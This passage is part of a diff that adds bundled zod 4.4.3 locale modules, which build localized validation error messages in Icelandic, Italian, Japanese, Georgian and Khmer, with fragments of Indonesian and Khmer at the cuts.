(issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Input tidak valid: diharapkan instanceof ${issue2.expected}, diterima ${received}`; + } + return `Input tidak valid: diharapkan ${expected}, diterima ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Input tidak valid: diharapkan ${stringifyPrimitive(issue2.values[0])}`; + return `Pilihan tidak valid: diharapkan salah satu dari ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Terlalu besar: diharapkan ${issue2.origin ?? "value"} memiliki ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elemen"}`; + return `Terlalu besar: diharapkan ${issue2.origin ?? "value"} menjadi ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Terlalu kecil: diharapkan ${issue2.origin} memiliki ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Terlalu kecil: diharapkan ${issue2.origin} menjadi ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `String tidak valid: harus dimulai dengan "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `String tidak valid: harus berakhir dengan "${_issue.suffix}"`; + if (_issue.format === "includes") + return `String tidak valid: harus menyertakan "${_issue.includes}"`; + if (_issue.format === "regex") + return `String tidak valid: harus sesuai pola ${_issue.pattern}`; + return `${FormatDictionary[_issue.format] ?? issue2.format} tidak valid`; + } + case "not_multiple_of": + return `Angka tidak valid: harus kelipatan dari ${issue2.divisor}`; + case "unrecognized_keys": + return `Kunci tidak dikenali ${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Kunci tidak valid di ${issue2.origin}`; + case "invalid_union": + return "Input tidak valid"; + case "invalid_element": + return `Nilai tidak valid di ${issue2.origin}`; + default: + return `Input tidak valid`; + } + }; +}; +function id_default() { + return { + localeError: error21() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/is.js +var error22 = () => { + const Sizable = { + string: { unit: "stafi", verb: "a\xF0 hafa" }, + file: { unit: "b\xE6ti", verb: "a\xF0 hafa" }, + array: { unit: "hluti", verb: "a\xF0 hafa" }, + set: { unit: "hluti", verb: "a\xF0 hafa" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "gildi", + email: "netfang", + url: "vefsl\xF3\xF0", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dagsetning og t\xEDmi", + date: "ISO dagsetning", + time: "ISO t\xEDmi", + duration: "ISO t\xEDmalengd", + ipv4: "IPv4 address", + ipv6: "IPv6 address", + cidrv4: "IPv4 range", + cidrv6: "IPv6 range", + base64: "base64-encoded strengur", + base64url: "base64url-encoded strengur", + json_string: "JSON strengur", + e164: "E.164 t\xF6lugildi", + jwt: "JWT", + template_literal: "gildi" + }; + const TypeDictionary = { + nan: "NaN", + number: "n\xFAmer", + array: "fylki" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Rangt gildi: \xDE\xFA sl\xF3st inn ${received} \xFEar sem \xE1 a\xF0 vera instanceof ${issue2.expected}`; + } + return `Rangt gildi: \xDE\xFA sl\xF3st inn ${received} \xFEar sem \xE1 a\xF0 vera ${expected}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Rangt gildi: gert r\xE1\xF0 fyrir ${stringifyPrimitive(issue2.values[0])}`; + return `\xD3gilt val: m\xE1 vera eitt af eftirfarandi ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Of st\xF3rt: gert er r\xE1\xF0 fyrir a\xF0 ${issue2.origin ?? "gildi"} hafi ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "hluti"}`; + return `Of st\xF3rt: gert er r\xE1\xF0 fyrir a\xF0 ${issue2.origin ?? "gildi"} s\xE9 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Of l\xEDti\xF0: gert er r\xE1\xF0 fyrir a\xF0 ${issue2.origin} hafi ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Of l\xEDti\xF0: gert er r\xE1\xF0 fyrir a\xF0 ${issue2.origin} s\xE9 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\xD3gildur strengur: ver\xF0ur a\xF0 byrja \xE1 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\xD3gildur strengur: ver\xF0ur a\xF0 enda \xE1 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\xD3gildur strengur: ver\xF0ur a\xF0 innihalda "${_issue.includes}"`; + if (_issue.format === "regex") + return `\xD3gildur strengur: ver\xF0ur a\xF0 fylgja mynstri ${_issue.pattern}`; + return `Rangt ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `R\xF6ng tala: ver\xF0ur a\xF0 vera margfeldi af ${issue2.divisor}`; + case "unrecognized_keys": + return `\xD3\xFEekkt ${issue2.keys.length > 1 ? "ir lyklar" : "ur lykill"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Rangur lykill \xED ${issue2.origin}`; + case "invalid_union": + return "Rangt gildi"; + case "invalid_element": + return `Rangt gildi \xED ${issue2.origin}`; + default: + return `Rangt gildi`; + } + }; +}; +function is_default() { + return { + localeError: error22() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/it.js +var error23 = () => { + const Sizable = { + string: { unit: "caratteri", verb: "avere" }, + file: { unit: "byte", verb: "avere" }, + array: { unit: "elementi", verb: "avere" }, + set: { unit: "elementi", verb: "avere" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "indirizzo email", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "data e ora ISO", + date: "data ISO", + time: "ora ISO", + duration: "durata ISO", + ipv4: "indirizzo IPv4", + ipv6: "indirizzo IPv6", + cidrv4: "intervallo IPv4", + cidrv6: "intervallo IPv6", + base64: "stringa codificata in base64", + base64url: "URL codificata in base64", + json_string: "stringa JSON", + e164: "numero E.164", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "numero", + array: "vettore" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Input non valido: atteso instanceof ${issue2.expected}, ricevuto ${received}`; + } + return `Input non valido: atteso ${expected}, ricevuto ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Input non valido: atteso ${stringifyPrimitive(issue2.values[0])}`; + return `Opzione non valida: atteso uno tra ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Troppo grande: ${issue2.origin ?? "valore"} deve avere ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementi"}`; + return `Troppo grande: ${issue2.origin ?? "valore"} deve essere ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Troppo piccolo: ${issue2.origin} deve avere ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Troppo piccolo: ${issue2.origin} deve essere ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Stringa non valida: deve iniziare con "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Stringa non valida: deve terminare con "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Stringa non valida: deve includere "${_issue.includes}"`; + if (_issue.format === "regex") + return `Stringa non valida: deve corrispondere al pattern ${_issue.pattern}`; + return `Input non valido: ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Numero non valido: deve essere un multiplo di ${issue2.divisor}`; + case "unrecognized_keys": + return `Chiav${issue2.keys.length > 1 ? "i" : "e"} non riconosciut${issue2.keys.length > 1 ? "e" : "a"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Chiave non valida in ${issue2.origin}`; + case "invalid_union": + return "Input non valido"; + case "invalid_element": + return `Valore non valido in ${issue2.origin}`; + default: + return `Input non valido`; + } + }; +}; +function it_default() { + return { + localeError: error23() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ja.js +var error24 = () => { + const Sizable = { + string: { unit: "\u6587\u5B57", verb: "\u3067\u3042\u308B" }, + file: { unit: "\u30D0\u30A4\u30C8", verb: "\u3067\u3042\u308B" }, + array: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, + set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u5165\u529B\u5024", + email: "\u30E1\u30FC\u30EB\u30A2\u30C9\u30EC\u30B9", + url: "URL", + emoji: "\u7D75\u6587\u5B57", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO\u65E5\u6642", + date: "ISO\u65E5\u4ED8", + time: "ISO\u6642\u523B", + duration: "ISO\u671F\u9593", + ipv4: "IPv4\u30A2\u30C9\u30EC\u30B9", + ipv6: "IPv6\u30A2\u30C9\u30EC\u30B9", + cidrv4: "IPv4\u7BC4\u56F2", + cidrv6: "IPv6\u7BC4\u56F2", + base64: "base64\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", + base64url: "base64url\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", + json_string: "JSON\u6587\u5B57\u5217", + e164: "E.164\u756A\u53F7", + jwt: "JWT", + template_literal: "\u5165\u529B\u5024" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u6570\u5024", + array: "\u914D\u5217" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u7121\u52B9\u306A\u5165\u529B: instanceof ${issue2.expected}\u304C\u671F\u5F85\u3055\u308C\u307E\u3057\u305F\u304C\u3001${received}\u304C\u5165\u529B\u3055\u308C\u307E\u3057\u305F`; + } + return `\u7121\u52B9\u306A\u5165\u529B: ${expected}\u304C\u671F\u5F85\u3055\u308C\u307E\u3057\u305F\u304C\u3001${received}\u304C\u5165\u529B\u3055\u308C\u307E\u3057\u305F`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u7121\u52B9\u306A\u5165\u529B: ${stringifyPrimitive(issue2.values[0])}\u304C\u671F\u5F85\u3055\u308C\u307E\u3057\u305F`; + return `\u7121\u52B9\u306A\u9078\u629E: ${joinValues(issue2.values, "\u3001")}\u306E\u3044\u305A\u308C\u304B\u3067\u3042\u308B\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059`; + case "too_big": { + const adj = issue2.inclusive ? "\u4EE5\u4E0B\u3067\u3042\u308B" : "\u3088\u308A\u5C0F\u3055\u3044"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u5927\u304D\u3059\u304E\u308B\u5024: ${issue2.origin ?? "\u5024"}\u306F${issue2.maximum.toString()}${sizing.unit ?? "\u8981\u7D20"}${adj}\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059`; + return `\u5927\u304D\u3059\u304E\u308B\u5024: ${issue2.origin ?? "\u5024"}\u306F${issue2.maximum.toString()}${adj}\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059`; + } + case "too_small": { + const adj = issue2.inclusive ? "\u4EE5\u4E0A\u3067\u3042\u308B" : "\u3088\u308A\u5927\u304D\u3044"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u5C0F\u3055\u3059\u304E\u308B\u5024: ${issue2.origin}\u306F${issue2.minimum.toString()}${sizing.unit}${adj}\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059`; + return `\u5C0F\u3055\u3059\u304E\u308B\u5024: ${issue2.origin}\u306F${issue2.minimum.toString()}${adj}\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u7121\u52B9\u306A\u6587\u5B57\u5217: "${_issue.prefix}"\u3067\u59CB\u307E\u308B\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059`; + if (_issue.format === "ends_with") + return `\u7121\u52B9\u306A\u6587\u5B57\u5217: "${_issue.suffix}"\u3067\u7D42\u308F\u308B\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059`; + if (_issue.format === "includes") + return `\u7121\u52B9\u306A\u6587\u5B57\u5217: "${_issue.includes}"\u3092\u542B\u3080\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059`; + if (_issue.format === "regex") + return `\u7121\u52B9\u306A\u6587\u5B57\u5217: \u30D1\u30BF\u30FC\u30F3${_issue.pattern}\u306B\u4E00\u81F4\u3059\u308B\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059`; + return `\u7121\u52B9\u306A${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u7121\u52B9\u306A\u6570\u5024: ${issue2.divisor}\u306E\u500D\u6570\u3067\u3042\u308B\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059`; + case "unrecognized_keys": + return `\u8A8D\u8B58\u3055\u308C\u3066\u3044\u306A\u3044\u30AD\u30FC${issue2.keys.length > 1 ? "\u7FA4" : ""}: ${joinValues(issue2.keys, "\u3001")}`; + case "invalid_key": + return `${issue2.origin}\u5185\u306E\u7121\u52B9\u306A\u30AD\u30FC`; + case "invalid_union": + return "\u7121\u52B9\u306A\u5165\u529B"; + case "invalid_element": + return `${issue2.origin}\u5185\u306E\u7121\u52B9\u306A\u5024`; + default: + return `\u7121\u52B9\u306A\u5165\u529B`; + } + }; +}; +function ja_default() { + return { + localeError: error24() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ka.js +var error25 = () => { + const Sizable = { + string: { unit: "\u10E1\u10D8\u10DB\u10D1\u10DD\u10DA\u10DD", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + file: { unit: "\u10D1\u10D0\u10D8\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + array: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0", + email: "\u10D4\u10DA-\u10E4\u10DD\u10E1\u10E2\u10D8\u10E1 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + url: "URL", + emoji: "\u10D4\u10DB\u10DD\u10EF\u10D8", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u10D7\u10D0\u10E0\u10D8\u10E6\u10D8-\u10D3\u10E0\u10DD", + date: "\u10D7\u10D0\u10E0\u10D8\u10E6\u10D8", + time: "\u10D3\u10E0\u10DD", + duration: "\u10EE\u10D0\u10DC\u10D2\u10E0\u10EB\u10DA\u10D8\u10D5\u10DD\u10D1\u10D0", + ipv4: "IPv4 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + ipv6: "IPv6 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + cidrv4: "IPv4 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", + cidrv6: "IPv6 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", + base64: "base64-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", + base64url: "base64url-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", + json_string: "JSON \u10D5\u10D4\u10DA\u10D8", + e164: "E.164 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + jwt: "JWT", + template_literal: "\u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u10E0\u10D8\u10EA\u10EE\u10D5\u10D8", + string: "\u10D5\u10D4\u10DA\u10D8", + boolean: "\u10D1\u10E3\u10DA\u10D4\u10D0\u10DC\u10D8", + function: "\u10E4\u10E3\u10DC\u10E5\u10EA\u10D8\u10D0", + array: "\u10DB\u10D0\u10E1\u10D8\u10D5\u10D8" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0: \u10DB\u10DD\u10E1\u10D0\u10DA\u10DD\u10D3\u10DC\u10D4\u10DA\u10D8 instanceof ${issue2.expected}, \u10DB\u10D8\u10E6\u10D4\u10D1\u10E3\u10DA\u10D8 ${received}`; + } + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0: \u10DB\u10DD\u10E1\u10D0\u10DA\u10DD\u10D3\u10DC\u10D4\u10DA\u10D8 ${expected}, \u10DB\u10D8\u10E6\u10D4\u10D1\u10E3\u10DA\u10D8 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0: \u10DB\u10DD\u10E1\u10D0\u10DA\u10DD\u10D3\u10DC\u10D4\u10DA\u10D8 ${stringifyPrimitive(issue2.values[0])}`; + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10D5\u10D0\u10E0\u10D8\u10D0\u10DC\u10E2\u10D8: \u10DB\u10DD\u10E1\u10D0\u10DA\u10DD\u10D3\u10DC\u10D4\u10DA\u10D8\u10D0 \u10D4\u10E0\u10D7-\u10D4\u10E0\u10D7\u10D8 ${joinValues(issue2.values, "|")}-\u10D3\u10D0\u10DC`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u10D6\u10D4\u10D3\u10DB\u10D4\u10E2\u10D0\u10D3 \u10D3\u10D8\u10D3\u10D8: \u10DB\u10DD\u10E1\u10D0\u10DA\u10DD\u10D3\u10DC\u10D4\u10DA\u10D8 ${issue2.origin ?? "\u10DB\u10DC\u10D8\u10E8\u10D5\u10DC\u10D4\u10DA\u10DD\u10D1\u10D0"} ${sizing.verb} ${adj}${issue2.maximum.toString()} ${sizing.unit}`; + return `\u10D6\u10D4\u10D3\u10DB\u10D4\u10E2\u10D0\u10D3 \u10D3\u10D8\u10D3\u10D8: \u10DB\u10DD\u10E1\u10D0\u10DA\u10DD\u10D3\u10DC\u10D4\u10DA\u10D8 ${issue2.origin ?? "\u10DB\u10DC\u10D8\u10E8\u10D5\u10DC\u10D4\u10DA\u10DD\u10D1\u10D0"} \u10D8\u10E7\u10DD\u10E1 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u10D6\u10D4\u10D3\u10DB\u10D4\u10E2\u10D0\u10D3 \u10DE\u10D0\u10E2\u10D0\u10E0\u10D0: \u10DB\u10DD\u10E1\u10D0\u10DA\u10DD\u10D3\u10DC\u10D4\u10DA\u10D8 ${issue2.origin} ${sizing.verb} ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u10D6\u10D4\u10D3\u10DB\u10D4\u10E2\u10D0\u10D3 \u10DE\u10D0\u10E2\u10D0\u10E0\u10D0: \u10DB\u10DD\u10E1\u10D0\u10DA\u10DD\u10D3\u10DC\u10D4\u10DA\u10D8 ${issue2.origin} \u10D8\u10E7\u10DD\u10E1 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10D5\u10D4\u10DA\u10D8: \u10E3\u10DC\u10D3\u10D0 \u10D8\u10EC\u10E7\u10D4\u10D1\u10DD\u10D3\u10D4\u10E1 "${_issue.prefix}"-\u10D8\u10D7`; + } + if (_issue.format === "ends_with") + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10D5\u10D4\u10DA\u10D8: \u10E3\u10DC\u10D3\u10D0 \u10DB\u10D7\u10D0\u10D5\u10E0\u10D3\u10D4\u10D1\u10DD\u10D3\u10D4\u10E1 "${_issue.suffix}"-\u10D8\u10D7`; + if (_issue.format === "includes") + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10D5\u10D4\u10DA\u10D8: \u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1 "${_issue.includes}"-\u10E1`; + if (_issue.format === "regex") + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10D5\u10D4\u10DA\u10D8: \u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D4\u10E1\u10D0\u10D1\u10D0\u10DB\u10D4\u10D1\u10DD\u10D3\u10D4\u10E1 \u10E8\u10D0\u10D1\u10DA\u10DD\u10DC\u10E1 ${_issue.pattern}`; + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10E0\u10D8\u10EA\u10EE\u10D5\u10D8: \u10E3\u10DC\u10D3\u10D0 \u10D8\u10E7\u10DD\u10E1 ${issue2.divisor}-\u10D8\u10E1 \u10EF\u10D4\u10E0\u10D0\u10D3\u10D8`; + case "unrecognized_keys": + return `\u10E3\u10EA\u10DC\u10DD\u10D1\u10D8 \u10D2\u10D0\u10E1\u10D0\u10E6\u10D4\u10D1${issue2.keys.length > 1 ? "\u10D4\u10D1\u10D8" : "\u10D8"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10D2\u10D0\u10E1\u10D0\u10E6\u10D4\u10D1\u10D8 ${issue2.origin}-\u10E8\u10D8`; + case "invalid_union": + return "\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0"; + case "invalid_element": + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10DB\u10DC\u10D8\u10E8\u10D5\u10DC\u10D4\u10DA\u10DD\u10D1\u10D0 ${issue2.origin}-\u10E8\u10D8`; + default: + return `\u10D0\u10E0\u10D0\u10E1\u10EC\u10DD\u10E0\u10D8 \u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0`; + } + }; +}; +function ka_default() { + return { + localeError: error25() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/km.js +var error26 = () => { + const Sizable = { + string: { unit: "\u178F\u17BD\u17A2\u1780\u17D2\u179F\u179A", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + file: { unit: "\u1794\u17C3", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + array: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B", + email: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793\u17A2\u17CA\u17B8\u1798\u17C2\u179B", + url: "URL", + emoji: "\u179F\u1789\u17D2\u1789\u17B6\u17A2\u17B6\u179A\u1798\u17D2\u1798\u178E\u17CD", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u1780\u17B6\u179B\u1794\u179A\u17B7\u1785\u17D2\u1786\u17C1\u1791 \u1793\u17B7\u1784\u1798\u17C9\u17C4\u1784 ISO", + date: "\u1780\u17B6\u179B\u1794\u179A\u17B7\u1785\u17D2\u1786\u17C1\u1791 ISO", + time: "\u1798\u17C9\u17C4\u1784 ISO", + duration: "\u179A\u1799\u17C8\u1796\u17C1\u179B ISO", + ipv4: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", + ipv6: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", + cidrv4: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", + cidrv6: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", + base64: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64", + base64url: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64url", + json_string: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A JSON", + e164: "\u179B\u17C1\u1781 E.164", + jwt: "JWT", + template_literal: "\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u179B\u17C1\u1781", + array: "\u17A2\u17B6\u179A\u17C1 (Array)", + null: "\u1782\u17D2\u1798\u17B6\u1793\u178F\u1798\u17D2\u179B\u17C3 (null)" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B\u1798\u17B7\u1793\u178F\u17D2\u179A\u17B9\u1798\u178F\u17D2\u179A\u17BC\u179C\u17D6 \u178F\u17D2\u179A\u17BC\u179C\u1780\u17B6\u179A instanceof ${issue2.expected} \u1794\u17C9\u17BB\u1793\u17D2\u178F\u17C2\u1791\u1791\u17BD\u179B\u1794\u17B6\u1793 ${received}`; + } + return 